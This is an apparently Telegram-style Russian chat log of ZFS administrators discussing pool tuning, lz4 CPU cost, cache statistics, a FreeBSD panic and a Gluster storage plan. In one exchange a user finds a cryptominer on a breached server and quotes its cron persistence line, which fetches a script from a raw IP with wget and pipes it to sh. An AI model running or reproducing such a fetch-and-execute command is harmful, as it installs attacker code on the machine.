А так стандартно: ashift=13 , atime=off , relatime=off , xattr=sa , autotrim=on , compression=lz4 ?

да, все верно, только автотрим по вкусу, или авто, или по расписанию скажет 1 раз в неделю

да, все верно, только автотрим по вкусу, или авто, или по расписанию скажет 1 раз в неделю

по крону раз в неделю zpool trim , но и autotrim тоже нужен. Смотрел выступление Бехлендорфа )

тогда ок)

не очень долго это сколько?

https://github.com/freeseacher/metrics_ru_faq#%D0%BF%D1%80%D0%BE-influxdb тут можно сказать выжимка

тогда ок)

они как бы одно и тоже делают, но всё же разное ) цитирую по возможности: "zpool trim - это когда вам нужно здесь и сейчас привести пул в рабочее состояние. autotrim - поддерживает пул в оптимальном состоянии в процессе работы." Кое что от autotrim-а ускользает, для этог и нужен zpool раз в неделю (оптимально) :)

https://github.com/freeseacher/metrics_ru_faq#%D0%BF%D1%80%D0%BE-influxdb тут можно сказать выжимка

ну я пока с проблемами не сталкивался, вероятно они меня не касаются))

посмотрим как будет дальше)

https://github.com/freeseacher/metrics_ru_faq#%D0%BF%D1%80%D0%BE-influxdb тут можно сказать выжимка

тут в твоей ссылке написано что и забикс говно))

и вообще всё говно)

Если на то пошло то обосрать можно всё)

мне норм ) там хоть не теряются данные.

мне норм ) там хоть не теряются данные.

хранить метрики в реляционной бд)

ух

мне кажется ты просто привык и ленишься перейти на что-то более современное, и ищешь отмазки)

мне кажется ты просто привык и ленишься перейти на что-то более современное, и ищешь отмазки)

не ищу ) просто мне норм. ниче не тормозит на том количестве данных, которое требуется наблюдать.

не ищу ) просто мне норм. ниче не тормозит на том количестве данных, которое требуется наблюдать.

да, когда уже настроено, то пойдёт

у меня тоже есть забиксы до которых руки не дошли

не ищу ) просто мне норм. ниче не тормозит на том количестве данных, которое требуется наблюдать.

но плеваться на инфлюксдб используя связку значительно хуже)), ну такое себе))

разве что посмотреть в /proc/spl/kstat/zfs/dbufs

посмотрел, там очень много строчек

посмотрел, там очень много строчек

В разрезе пулов или обобщённое?

пулов

а я ушёл от забикса, на графану)

мы сходили и вернулись)

В разрезе пулов или обобщённое?

ну то есть я так понимаю это какая-то статистика кеширования, но мне пока она не очень понятна. Ну то есть выходит что кеш работает. НО почему там пишет что он деградирован

нифига не понятно

я заюзал другую команду zpool iostat -v И вижу что запись и чтение есть из устройств кеша, то есть они работают

Работают, только хит маленький, меньше процента

#Вопрос zfs может давать большую нагрузку на процессор с включенным lz4 и recordsize=16K , если это допустим не оптимальный размер блока ?

#Вопрос zfs может давать большую нагрузку на процессор с включенным lz4 и recordsize=16K , если это допустим не оптимальный размер блока ?

Большую, чем что?

Большую, чем что?

18 ядер съедать под 100%

или это софт реально столько ест и надо процы мощнее

18 ядер съедать под 100%

top бы увидеть

или это софт реально столько ест и надо процы мощнее

в top посмотреть стоит)

кажется, у вас кто-то майнит)

смотрите на этот процесс топовый

вот с сортировкой по процу

вот с сортировкой по процу

/tmp/чтототам, прям намекает на майнера

в общем ищите где вас ломанули и запустили майнер

уже второй раз ломают этот софт =\

уже второй раз ломают этот софт =\

pid 26049 это чистой воды майнер запущен

pid 26049 это чистой воды майнер запущен

Да. сразу до 50% и меньше использование упало

так, сколько так электричества съэкономили за месяц? )))) задонатьте в OpenZFS или FreeBSD. ;)

вот этот питор: * * * * * #wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1

#Вопрос zfs может давать большую нагрузку на процессор с включенным lz4 и recordsize=16K , если это допустим не оптимальный размер блока ?

Про майнер прикольно. Ломанули какую-то cms-ку на веб-сервере? lz4 вообще фактически нагрузку на ЦП не дает, там 1-2% которые на общем фоне вообще не заметны. По крайней мере у меня пулы по 20-40 ТБ с lz4, я замерял - там пара процентов и то надо хорошо нагрузить что бы почувствовать.

Про майнер прикольно. Ломанули какую-то cms-ку на веб-сервере? lz4 вообще фактически нагрузку на ЦП не дает, там 1-2% которые на общем фоне вообще не заметны. По крайней мере у меня пулы по 20-40 ТБ с lz4, я замерял - там пара процентов и то надо хорошо нагрузить что бы почувствовать.

Это я вчера переносил контейнер и забыл закрыть один порт фаерволом =\ там php наружу смотрит.

вроде вычистил. Больше не появляется

Это я вчера переносил контейнер и забыл закрыть один порт фаерволом =\ там php наружу смотрит.

Ну и что что смотрит. Надо явная уязвимость в скрипте позволяющая инжектить задачу в планировщик и выполнять код. Наличие самого пыхпы никак не влияет на возможный взлом. Нужны ошибки в коде.

У меня так ломали drupal через дырявый модуль и тоже вешали майнера.

но не на сам сервак а на веб-страницу, что бы майнил на клиентской стороне.

Ну и что что смотрит. Надо явная уязвимость в скрипте позволяющая инжектить задачу в планировщик и выполнять код. Наличие самого пыхпы никак не влияет на возможный взлом. Нужны ошибки в коде.

Всё правильно. Только её другой чувак разрабатывает, так исторически вышло. Поэтому один порт надо закрывать.

почему по ссылке выше не могу исходники майнер аскать

Всё правильно. Только её другой чувак разрабатывает, так исторически вышло. Поэтому один порт надо закрывать.

Понятно. Майнер к слову тупой. Валит ЦП на 100% что сразу заметно. Если бы он 25% кушал, не сразу и заметишь, если не полезешь смотреть =)

почему по ссылке выше не могу исходники майнер аскать

у меня в винде страницу сразу блочит e-set, а линух в виртуалке пишет конекш рефьюзд

Похоже там блок на загрузку с неломаных IP шников.

В прошлый раз мне удалось его скачать

Про майнер прикольно. Ломанули какую-то cms-ку на веб-сервере? lz4 вообще фактически нагрузку на ЦП не дает, там 1-2% которые на общем фоне вообще не заметны. По крайней мере у меня пулы по 20-40 ТБ с lz4, я замерял - там пара процентов и то надо хорошо нагрузить что бы почувствовать.

на свежих процах lz4-fast может сжимать со скоростью 700-800мбайт/сек, а разжимать 3000-3600мбайт/сек в один поток, им ооочень сложно прям выесть сpu

на свежих процах lz4-fast может сжимать со скоростью 700-800мбайт/сек, а разжимать 3000-3600мбайт/сек в один поток, им ооочень сложно прям выесть сpu

я об этом же, там нагрузка вообще в общей массе процессов незаметна, поэтому у меня везде, даже на ссд пулах лз4 включен

зато зачастую вижу выше производительность =)

на свежих процах lz4-fast может сжимать со скоростью 700-800мбайт/сек, а разжимать 3000-3600мбайт/сек в один поток, им ооочень сложно прям выесть сpu

жду себе озу с частотой повыше, хочу потестить её влияние на скорость lz4

Сейчас есть кейс на немаленькое хранилище терр так на 100 на 3-х серверах, хочу внизу сделать зфс а сверху гластер.

посмотрим что выйдет

не хочу мастырить софт рейд и xfs, не интересно

не хочу мастырить софт рейд и xfs, не интересно

Зачем софт рейд, если это может гластер?

Зачем софт рейд, если это может гластер?

Софтрейд+xfs потому что xfs не умеет в рейд. Вот я этого не хочу, поэтому будет zfs + gluster.

Софтрейд+xfs потому что xfs не умеет в рейд. Вот я этого не хочу, поэтому будет zfs + gluster.

Гластер умеет в рейд и erasure coding

Там в сервере 36 дисков, а делать брикс на каждом диске и все объединять гластером тоже не хочу.

Гластер умеет в рейд и erasure coding

Я вкурсе, ответ выше, не хочу склеивать по схеме диск=брикс. К слову эта схема не всегда оптимальная.

Но надо потестить.

Добрый день! zfs2.0 на bsd как то периодически крашится. Обычно у меня на -current краш ну раз в месяц. Сейчас - прям жду что будет сегодня. panic: Memory modified after free 0xfffffe012b0f0000(16384) val=dcadc0de @ 0xfffffe012b0f3488 cpuid = 2 time = 1609226207 KDB: stack backtrace: db_trace_self_wrapper() at db_trace_self_wrapper+0x2b/frame 0xfffffe008ef1f9d0 vpanic() at vpanic+0x182/frame 0xfffffe008ef1fa20 panic() at panic+0x43/frame 0xfffffe008ef1fa80 trash_fini() at trash_fini+0x47/frame 0xfffffe008ef1fa90 keg_free_slab() at keg_free_slab+0x76/frame 0xfffffe008ef1fad0 zone_reclaim() at zone_reclaim+0x220/frame 0xfffffe008ef1fb20 arc_kmem_reap_soon() at arc_kmem_reap_soon+0x61/frame 0xfffffe008ef1fb50 arc_reap_cb() at arc_reap_cb+0x9/frame 0xfffffe008ef1fb60 zthr_procedure() at zthr_procedure+0x8f/frame 0xfffffe008ef1fbb0 fork_exit() at fork_exit+0x80/frame 0xfffffe008ef1fbf0 fork_trampoline() at fork_trampoline+0xe/frame 0xfffffe008ef1fbf0 Это что-то OpenZFS-ное или нет? Пока не самый свежий билд, так как ещё не переехал на git.

а это чистая бсд или это truenas?

а это чистая бсд или это truenas?

чистая

а тюнинги от старой у Вас там были?

Version String: FreeBSD 13.0-CURRENT #6 r366353: Fri Oct 2 11:12:35 UTC 2020 root@buildcurrent.unclebear.ru:/usr/obj/usr/src/amd64.amd64/sys/GENERIC Panic String: Memory modified after free 0xfffffe012b0f0000(16384) val=dcadc0de @ 0xfffffe012b0f3488

а тюнинги от старой у Вас там были?

у меня из тюнингов только отключенный prefetch и arc_max vfs.zfs.prefetch_disable="1" vfs.zfs.arc_max="2G"

тогда я к сожалению не в курсе (

я просто сталкивался с тем, что после перехода со старой ZFS на новую у меня были тюнингов довольно много связанных с распределением памяти, и они у меня вызывали подобное приколы

после того как убрал, все стало ок, но Ваши тюнинги безобидные

ок, и на том спасибо. короче пока не горит, забью

Всем добрый вечер. Кто нибудь сталкивался с переносом freebsd zfs на VMware? Я так понимаю , что простым конвертором не обойтись? Например образ сделать acronis true image и сконвертировать в VMware не получится